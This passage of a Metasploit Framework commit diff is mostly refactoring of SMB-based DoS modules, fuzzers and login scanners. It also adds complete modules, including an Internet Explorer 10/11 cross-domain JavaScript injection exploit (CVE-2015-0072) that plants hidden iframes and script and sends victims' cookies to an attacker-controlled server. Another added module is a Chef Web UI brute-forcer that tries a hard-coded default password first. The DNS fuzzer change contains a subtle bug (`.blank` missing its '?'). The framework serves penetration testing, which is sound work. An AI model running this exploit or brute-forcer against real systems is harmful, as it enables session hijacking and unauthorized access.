Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index 5fa563df2b..34a5af994f 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 9be9093920..a550c617b1 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -9,7 +9,7 @@ require 'rex/proto/smb' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'FID', 0 ], diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index ad1cae1beb..79d649c253 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index caeb334545..fffd69b8dd 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index cd801fecb8..f60c224d7d 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 73b2e35230..b9c9005b96 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index c1e5a03473..25fec756b7 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index ae6771154d..51fa2bab02 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -6,7 +6,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp - #include Msf::Exploit::Remote::SMB + #include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 5d418041f0..2ba38d2064 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 4a5b0c6401..1972f99d76 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -330,22 +330,17 @@ class Metasploit3 < Msf::Auxiliary end def fix_variables - if datastore['OPCODE'] == "" - datastore['OPCODE'] = "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" - end - if datastore['CLASS'] == "" - datastore['CLASS'] = "IN,CH,HS,NONE,ANY" - end - if datastore['RR'] == "" - datastore['RR'] = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," - datastore['RR'] << "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," - datastore['RR'] << "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," - datastore['RR'] << "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," - datastore['RR'] << "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," - datastore['RR'] << "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," - datastore['RR'] << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," - datastore['RR'] << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - end + @fuzz_opcode = datastore['OPCODE'].blank? ? "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" : datastore['OPCODE'] + @fuzz_class = datastore['CLASS'].blank? ? "IN,CH,HS,NONE,ANY" : datastore['CLASS'] + fuzz_rr_queries = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," << + "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," << + "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," << + "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," << + "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," << + "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << + "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << + "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" + @fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) @@ -381,7 +376,7 @@ class Metasploit3 < Msf::Auxiliary if @domain == nil print_status("DNS Fuzzer: DOMAIN could be set for health check but not mandatory.") end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") opcode = setup_opcode(nsopcode) opcode.unpack("n*").each do |dnsOpcode| 1.upto(iter) do @@ -414,11 +409,11 @@ class Metasploit3 < Msf::Auxiliary nsclass << req[:class] nsentry << req[:name] end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") else - nsreq=datastore['RR'].split(",") - nsopcode=datastore['OPCODE'].split(",") - nsclass=datastore['CLASS'].split(",") + nsreq=@fuzz_rr.split(",") + nsopcode=@fuzz_opcode.split(",") + nsclass=@fuzz_class.split(",") begin classns = setup_nsclass(nsclass) raise ArgumentError, "Invalid CLASS: #{nsclass.inspect}" unless classns diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index fc8a51df57..5d4486fc5e 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index 765c1603f6..17ae41ffde 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index b3ac1f0a1e..22b0824f1f 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index e66b34050f..a8eec1e014 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index 9156563bff..de640033a7 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer def initialize(info = {}) diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb new file mode 100644 index 0000000000..1a75671ec8 --- /dev/null +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", + 'Description' => %q{ + This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet + Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot + have X-Frame-Options or it will fail). You can also have your own custom JavaScript + by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if + you are behind NAT. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'David Leo', # Original discovery + 'filedescriptor', # PoC + 'joev', # He figured it out really + 'sinn3r' # MSF + ], + 'References' => + [ + [ 'CVE', '2015-0072' ], + [ 'OSVDB', '117876' ], + [ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'], + [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ] + ], + 'Platform' => 'win', + 'DisclosureDate' => "Feb 1 2015" + )) + + register_options( + [ + OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]), + OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ]) + ], self.class) + end + + def setup + if target_uri !~ /^http/i + raise Msf::OptionValidateError.new(['TARGET_URI']) + end + + super + end + + def target_uri + datastore['TARGET_URI'] + end + + def get_html + @html ||= html + end + + def ninja_cookie_stealer_name + @ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php" + end + + def get_uri(cli=self.cli) + ssl = datastore["SSL"] + proto = (ssl ? "https://" : "http://") + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (cli and cli.peerhost) + host = Rex::Socket.source_address(cli.peerhost) + else + host = srvhost_addr + end + + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + if datastore['URIPORT'] != 0 + port = ':' + datastore['URIPORT'].to_s + elsif (ssl and datastore["SRVPORT"] == 443) + port = '' + elsif (!ssl and datastore["SRVPORT"] == 80) + port = '' + else + port = ":" + datastore["SRVPORT"].to_s + end + + uri = proto + host + port + get_resource + + uri + end + + def server_uri + @server_uri ||= get_uri + end + + def js + datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);| + end + + def html + %Q| +<iframe style="display:none" src="#{get_resource}/redirect.php"></iframe> +<iframe style="display:none" src="#{datastore['TARGET_URI']}"></iframe> +<script> + window.onmessage = function(e){ top[1].postMessage(atob("#{Rex::Text.encode_base64(js)}"),"*"); }; + var payload = 'window.onmessage=function(e){ setTimeout(e.data); }; top.postMessage(\\\\"\\\\",\\\\"*\\\\")'; + top[0].eval('_=top[1];with(new XMLHttpRequest)open("get","#{get_resource}/sleep.php",false),send();_.location="javascript:%22%3Cscript%3E'+ encodeURIComponent(payload) +'%3C%2Fscript%3E%22"'); +</script> + | + end + + def run + exploit + end + + def extract_cookie(uri) + Rex::Text.uri_decode(uri.to_s.scan(/#{ninja_cookie_stealer_name}\?data=(.+)/).flatten[0].to_s) + end + + def on_request_uri(cli, request) + case request.uri + when /redirect\.php/ + print_status("Sending redirect") + send_redirect(cli, "#{datastore['TARGET_URI']}") + when /sleep\.php/ + sleep(3) + send_response(cli, '') + when /#{ninja_cookie_stealer_name}/ + data = extract_cookie(request.uri) + if data.blank? + print_status("The XSS worked, but no cookie") + else + print_status("Got cookie") + print_line(data) + report_note( + :host => cli.peerhost, + :type => 'ie.cookie', + :data => data + ) + path = store_loot('ie_uxss_cookie', "text/plain", cli.peerhost, data, "#{cli.peerhost}_ie_cookie.txt", "IE Cookie") + vprint_good("Cookie stored as: #{path}") + end + else + print_status("Sending HTML") + send_response(cli, get_html) + end + end + +end diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 3691e7917f..f508510cbd 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -84,19 +84,22 @@ class Metasploit4 < Msf::Auxiliary end # Check to see if api.shodan.io resolves properly - def shodan_rhost - @res = Net::DNS::Resolver.new - dns_query = @res.query('api.shodan.io', 'A') - if dns_query.answer.length == 0 - print_error('Could not resolve api.shodan.io') - raise ::Rex::ConnectError('api.shodan.io', '443') + def shodan_resolvable? + begin + Rex::Socket.resolv_to_dotted("api.shodan.io") + rescue RuntimeError, SocketError + return false end - dns_query.answer[0].to_s.split(/[\s,]+/)[4] + + true end def run # check to ensure api.shodan.io is resolvable - shodan_rhost + unless shodan_resolvable? + print_error("Unable to resolve api.shodan.io") + return + end # create our Shodan request parameters query = datastore['QUERY'] diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index 1a45f7faa9..6d25d5d1dd 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -9,8 +9,8 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/acpp/login.rb b/modules/auxiliary/scanner/acpp/login.rb index 120c341a28..57677b9661 100644 --- a/modules/auxiliary/scanner/acpp/login.rb +++ b/modules/auxiliary/scanner/acpp/login.rb @@ -71,7 +71,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['ConnectTimeout'], max_send_size: datastore['TCP::max_send_size'], - send_delay: datastore['TCP::send_delay'] + send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index e3e6204b89..06fe09eb29 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -67,6 +67,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 88bfa1950c..4fb8dfee72 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -65,6 +65,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index c3481d7fdd..b5a5bc3352 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -78,7 +78,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], - connection_timeout: 30 + connection_timeout: 30, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/appletv_login.rb b/modules/auxiliary/scanner/http/appletv_login.rb index 0708abd0dc..467054f8e5 100644 --- a/modules/auxiliary/scanner/http/appletv_login.rb +++ b/modules/auxiliary/scanner/http/appletv_login.rb @@ -83,6 +83,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index e12cc0d1a1..3563330d69 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Apache Axis2 Brute Force Utility', 'Description' => %q{ This module attempts to login to an Apache Axis2 instance using - username and password combindations indicated by the USER_FILE, + username and password combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It has been verified to work on at least versions 1.4.1 and 1.6.2. }, @@ -88,7 +88,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/buffalo_login.rb b/modules/auxiliary/scanner/http/buffalo_login.rb index 4e4d49cd70..090ac07bc1 100644 --- a/modules/auxiliary/scanner/http/buffalo_login.rb +++ b/modules/auxiliary/scanner/http/buffalo_login.rb @@ -52,7 +52,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/chef_webui_login.rb b/modules/auxiliary/scanner/http/chef_webui_login.rb new file mode 100644 index 0000000000..df4da2cc24 --- /dev/null +++ b/modules/auxiliary/scanner/http/chef_webui_login.rb @@ -0,0 +1,161 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/chef_webui' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Chef Web UI Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Chef Web UI server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the default login (admin:p@ssw0rd1). + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']), + OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', true]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}") + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1') + ) + + @scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + +end diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb new file mode 100644 index 0000000000..5ac407a826 --- /dev/null +++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb @@ -0,0 +1,63 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Chromecast Web Server Scanner', + 'Description' => %q{ + This module scans for the Chromecast web server on port 8008/TCP, and + can be used to discover devices which can be targeted by other Chromecast + modules, such as chromecast_youtube. + }, + 'Author' => ['wvu'], + 'References' => [ + ['URL', 'https://www.google.com/chrome/devices/chromecast/'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + Opt::RPORT(8008) + ]) + end + + def run_host(ip) + res = send_request_raw( + 'method' => 'GET', + 'uri' => '/setup/eureka_info', + 'agent' => Rex::Text.rand_text_english(rand(42) + 1) + ) + + return unless (res && res.code == 200) + + begin + json = JSON.parse(res.body) + rescue JSON::ParserError + return + end + + name, ssid = json['name'], json['ssid'] + + if name && ssid + print_good(%Q{#{peer} - Chromecast "#{name}" is connected to #{ssid}}) + report_service( + :host => ip, + :port => rport, + :proto => 'tcp', + :name => 'http', + :info => %Q{Chromecast "#{name}" connected to #{ssid}} + ) + end + end + +end diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 3cf30f4e18..0bab8fb21b 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'GlassFish Brute Force Utility', 'Description' => %q{ This module attempts to login to GlassFish instance using username and password - combindations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It will also try to do an authentication bypass against older versions of GlassFish. Note: by default, GlassFish 4.0 requires HTTPS, which means you must set the SSL option to true, and SSLVersion to TLS1. It also needs Secure Admin to access the DAS remotely. @@ -101,7 +101,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + framework: framework, + framework_module: self, ) @scanner.ssl = datastore['SSL'] diff --git a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb index f412a6dce2..cf4aec64bc 100644 --- a/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb +++ b/modules/auxiliary/scanner/http/hp_sys_mgmt_login.rb @@ -83,7 +83,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: @cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 5 + connection_timeout: 5, + framework: framework, + framework_module: self, ) @scanner.ssl = datastore['SSL'] diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index c433557970..6fba649965 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -163,7 +163,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) msg = scanner.check_setup diff --git a/modules/auxiliary/scanner/http/ipboard_login.rb b/modules/auxiliary/scanner/http/ipboard_login.rb index 22b96e6a20..6ef45268bb 100644 --- a/modules/auxiliary/scanner/http/ipboard_login.rb +++ b/modules/auxiliary/scanner/http/ipboard_login.rb @@ -47,7 +47,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/jenkins_login.rb b/modules/auxiliary/scanner/http/jenkins_login.rb index ebeb4109eb..ad84cc7498 100644 --- a/modules/auxiliary/scanner/http/jenkins_login.rb +++ b/modules/auxiliary/scanner/http/jenkins_login.rb @@ -51,7 +51,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, user_agent: datastore['UserAgent'], - vhost: 